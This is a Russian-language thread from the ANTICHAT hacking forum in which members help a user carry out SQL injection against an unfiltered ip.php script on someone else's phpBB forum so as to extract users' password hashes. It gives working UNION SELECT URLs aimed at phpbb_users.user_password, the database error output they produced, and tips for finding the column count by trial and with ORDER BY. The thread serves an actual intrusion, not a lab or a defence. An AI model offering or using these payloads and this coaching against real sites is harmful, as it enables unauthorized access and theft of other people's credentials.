HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Елементарная sql-иньекция
  #1  
Старый 24.12.2007, 05:06
n01038
Новичок
Регистрация: 16.12.2007
Сообщений: 7
С нами:
9685964

Репутация: 0
По умолчанию Елементарная sql-иньекция

Проблема такая, на одном форуме phpbb есть самописаный скрипт каторый может проверять юзеров на сходство по ИП. В таблеце phpbb_users в какойто колонке сохраняется последний ИП юзера с каторого он заходил, но в етом скрипте нет никакой фильтрации, например, если я хочу узнать у каво из посетителей пароль "123123", тогда мне нужно зделать так /ip.php?id=0+union+select+*+from+phpbb_users+where+ user_password='4297f44b13955235245b2497399d7a93' и т.д. Сам скрипт выдает только ид/ник/ип юзера и все, как можно пробить пароль юзера по id?

Последний раз редактировалось n01038; 24.12.2007 в 05:08..
 

  #2  
Старый 24.12.2007, 05:16
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866

Репутация: 3812


По умолчанию

/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая
__________________
 

  #3  
Старый 24.12.2007, 05:30
n01038
Новичок
Регистрация: 16.12.2007
Сообщений: 7
С нами:
9685964

Репутация: 0
По умолчанию

Цитата:
Сообщение от +toxa+  
/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая
Вот так скрипт ответил :

Could not query attachment informations

DEBUG MODE

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT * FROM phpbb_users WHERE user_id = 0 union select 1,user_password,3,4 from phpbb_users where user_id=1

Line : 51
File : ip.php
 

  #4  
Старый 24.12.2007, 05:41
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
С нами:
10660753

Репутация: 676


По умолчанию

число колонок подбирай...
union select 1,2,3 и так далее/* пока не подберешь число колонок..
Как подберешь смотри какие из них выводятся…

Последний раз редактировалось aka PSIH; 24.12.2007 в 05:48..
 

  #5  
Старый 24.12.2007, 06:03
n01038
Новичок
Регистрация: 16.12.2007
Сообщений: 7
С нами:
9685964

Репутация: 0
По умолчанию

уже до 100 дошел, значит здесь либо много колонок либо я делаю чтото нетак
 

  #6  
Старый 24.12.2007, 06:48
n01038
Новичок
Регистрация: 16.12.2007
Сообщений: 7
С нами:
9685964

Репутация: 0
По умолчанию

ужас, 132 колонки было, спасибо запомошь всем кто отписался
 

  #7  
Старый 24.12.2007, 07:04
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
С нами:
10660753

Репутация: 676


По умолчанию

n01038
Не обязательно было все 132 колонки перебирать..
можно было быстро и просто через order by & group by подобрать
 

  #8  
Старый 24.12.2007, 09:05
n01038
Новичок
Регистрация: 16.12.2007
Сообщений: 7
С нами:
9685964

Репутация: 0
По умолчанию

Цитата:
Сообщение от aka PSIH  
n01038
Не обязательно было все 132 колонки перебирать..
можно было быстро и просто через order by & group by подобрать
можно по подробней?
 

  #9  
Старый 24.12.2007, 11:00
[aywo]
Познающий
Регистрация: 01.02.2007
Сообщений: 89
С нами:
10143707

Репутация: 114
По умолчанию

набиаешь например /ip.php?id=0+order+by+100/*, если ошибка появилась значит число колонок меньше 100, если не появилась значить больше или равно 100...
 
Закрытая тема





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.